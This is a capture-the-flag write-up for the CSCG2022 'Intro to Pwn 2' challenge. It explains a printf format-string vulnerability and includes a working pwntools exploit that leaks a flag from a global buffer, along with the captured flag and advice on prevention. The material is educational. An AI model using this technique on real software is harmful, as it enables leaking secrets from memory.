Intro to Pwn 2

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This was a challenge in the CSCG2022 Competition.



Challenge Description:

This intro task will teach you a different way of abusing a format string vulnerability. It's not always necessary to get a shell to solve a challenge. Hint:

```
def do_magic(v):
    print(f"{v:08d}");
print(do_magic(1337))
```

Research:

We are given a c file pwn2.c, lets look at it.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <fcntl.h>
// pwn1: gcc pwn2.c -o pwn2
                   ----- SETUP
char flag_buffer[1024];
void ignore_me_init_buffering() {
       setvbuf(stdout, NULL, _IONBF, 0);
       setvbuf(stdin, NULL, _IONBF, 0);
       setvbuf(stderr, NULL, _IONBF, 0);
}
void kill_on_timeout(int sig) {
 if (sig == SIGALRM) {
       printf("[!] Anti DoS Signal. Patch me out for testing.");
   _exit(0);
 }
}
void ignore_me_init_signal() {
       signal(SIGALRM, kill_on_timeout);
       alarm(60);
}
```

```
void load_flag() {
   FILE* fp = fopen("/flag", "r");
   int len = -1;
   if (fp == NULL) {
       printf("Error opening file: /flag\n");
       exit(-1);
   }
   fseek(fp, 0, SEEK_END);
   len = ftell(fp);
   // Read the flag
   fseek(fp, 0, SEEK_SET);
   fread(flag_buffer, 1, len, fp);
   fclose(fp);
}
// ----- MENU
void print_stuff() {
   #ifndef CSCG_BUILDER
     printf("[!] You are using a self-compiled version of the challenge.
Offsets might differ from the binary that is provided for the competition!\n");
   #endif
   char input_buffer[1024];
   memset(input_buffer, 0x00, 1024);
   printf("Give me some buffer: \n");
   scanf("%1023s", input_buffer);
   printf("You gave me: ");
   printf(input_buffer);
}
// ----- MAIN
void main(int argc, char* argv[]) {
       ignore_me_init_buffering();
       ignore_me_init_signal();
 load_flag();
 print_stuff();
}
```

We can see, that first the actual flag is loaded into the global variable flag_buffer. Then, we can give the program some buffer, that it will simply print out using printf.

Lets take a quick look at the checksec command output:

amd64-64-little Arch:

Partial RELRO **RELRO:**

Stack:

NX enabled NX:

PIE:

So as we can see, the executable is not compiled as a Position Independent Execuable (PIE), which means the base address for the text, bss and data segment will always be the same.



Vulnerability Description:

As the program does not use a printf specifier to print our string, the code is vulnerable to a format string attack. To understand this kind of attack, we first need to understand how the printf function works.

With printf, one can easily format given variables to a string and print that string. It expects as its first argument the format string, which tells the function, how the following arguments should be formatted. After the format string follows the arguments that should be formatted. For example:

```
const char* name = "Tibotix";
int age = 18;
printf("Hello, I am %s and %d years old.", name, age);
// will print: "Hello, I am Tibotix and 18 years old." to console
```

In this example, %s and %d are called format specifiers. Format specifiers always begin with a %. They specify, how the corresponding argument should be interpreted. In fact, there are many other format specifiers:

| specifier | Output | Example |
|---------------|---|--------------|
| d <i>or</i> i | Signed decimal integer | 392 |
| u | Unsigned decimal integer | 7235 |
| О | Unsigned octal | 610 |
| х | Unsigned hexadecimal integer | 7fa |
| X | Unsigned hexadecimal integer (uppercase) | 7FA |
| f | Decimal floating point, lowercase | 392.65 |
| F | Decimal floating point, uppercase | 392.65 |
| e | Scientific notation (mantissa/exponent), lowercase | 3.9265e+2 |
| E | Scientific notation (mantissa/exponent), uppercase | 3.9265E+2 |
| g | Use the shortest representation: %e or %f | 392.65 |
| G | Use the shortest representation: %E or %F | 392.65 |
| a | Hexadecimal floating point, lowercase | -0xc.90fep-2 |
| A | Hexadecimal floating point, uppercase | -0XC.90FEP-2 |
| С | Character | a |
| s | String of characters | sample |
| р | Pointer address | b8000000 |
| n | Nothing printed. The corresponding argument must be a pointer to a signed int. The number of characters written so far is stored in the pointed location. | |
| % | A % followed by another % character will write a single % to the stream. | % |

As a shortcut for writing 7 times %p in the format string, we can explicitly only access the 7th argument after the format string (so technically the 8th argument to the printf function) with the *positional* format specifier %7\$p.

So a format string vulnerability occurs, when user input is not "escaped" through a format specifier. This allows an attacker to pass a "s himself as the format string, and extract the further arguments of the printf function. But what are these arguments, when no argument is explicitly written in the code? To answer this question, we need to understand and look into the *Calling Conventions*. The operating system defines its own order, in which arguments are passed to a function in the machine code. On Linux, the order of arguments looks like this:

- 1. First argument is stored in register RDI
- 2. The second argument is stored in register RSI
- 3. The third argument is stored in register **RDX**
- 4. The fourth argument is stored in register **RCX**
- 5. The fifth argument is stored in register **R8**
- 6. The sixth argument is stored in register R9
- 7. The seventh and all further argument are stored on the stack

So, when executing this code,

```
printf("%p");
```

The address stored in **RSI** is printed out.

Exploit Development:

The format string vulnerabilty in this challenge is very easy to exploit, as we only need to find the address of the flag_buffer global variable. A quick look in gdb gives us:

Now we need a way to print out this address.

Another trick you can do in format string attacks is to use the input buffer that acts as the first parameter to the <code>printf</code> function, as a seperate further argument. This works, because our input buffer is stored at the stack:

```
0x4013b7 <print stuff+102>
                                mov
                                       eax, 0
  0x4013bc <print stuff+107>
                                call
                                       printf@plt
  0x4013c1 <print_stuff+112>
                                nop
  0x4013c2 <print_stuff+113>
                                leave
  0x4013c3 <print_stuff+114>
                                ret
  0x4013c4 <main>
                                push
                                       rbp
  0x4013c5 <main+1>
                               mov
                                       rbp, rsp
  0x4013c8 <main+4>
                               sub
                                       rsp, 0x10
                                       dword ptr [rbp - 4], edi
  0x4013cc <main+8>
                                mov
  0x4013cf <main+11>
                                       qword ptr [rbp - 0x10], rsi
                                mov
  0x4013d3 <main+15>
                                       eax, 0
                                mov
00:0000 rax rdi rsp 0x7ffdf0c8f020 ∢— 'AAAAAAAABBBBBBBB'
01:0008
                   0x7ffdf0c8f028 ← 'BBBBBBBB'
02:0010
                    0x7ffdf0c8f030 ← 0x0
                    5 skipped
► f 0
              0x4013b7 print_stuff+102
  f 1
              0x4013fb main+55
      0x7f23706d80b3 __libc_start_main+243
  f 2
       stack
        rax rdi rsp 0x7ffdf0c8f020 ← 'AAAAAAABBBBBBBBB'
0000:06
                    0x7ffdf0c8f028 ← 'BBBBBBBB'
0008
                    0x7ffdf0c8f030 ← 0x0
02:0010
                    5 skipped
```

We can see, that the given BBBBBBB string is our 8th argument to the printf function. (6 in registers + 2 on stack).

So, our plan is to give %7\$s followed by some 4byte padding AAAA followed by the address of flag_buffer to the input buffer. This will access the 8th argument to the printf functions and interpret it as a pointer to a null terminated string. As the 8th argument is our flag_buffer, it will print out the flag .

Exploit Program:

```
from pwn import *

url = "f2272656dd460f43cccd2350-intro-pwn-2.challenge.master.cscg.live"

flag_addr = 0x4040e0
format_string = b"%7$sAAAA" + p64(flag_addr)

def get_flag():
    p = remote(url, port=31337, ssl=True)
    p.recvuntil(b"Give me some buffer: \n")
    p.sendline(format_string)
    flag = p.recv(1024)
    print(str(flag))

get_flag()
```

X Run Exploit:

FLAG: CSCG{h0pe_y0u_didnt_stuggl3_t00_h4rd_on_th1s_one}



() Possible Prevention:

Always use format specifiers like %s to print out user input with printf. The simple change from

```
printf(input_buffer);
```

to

```
printf("%s", input_buffer);
```

would prevent the format string vulnerability.

Also, it is strongly recommended to compile an executable or shared libraries as a Position Independent Executable.



https://www.cplusplus.com/reference/cstdio/printf/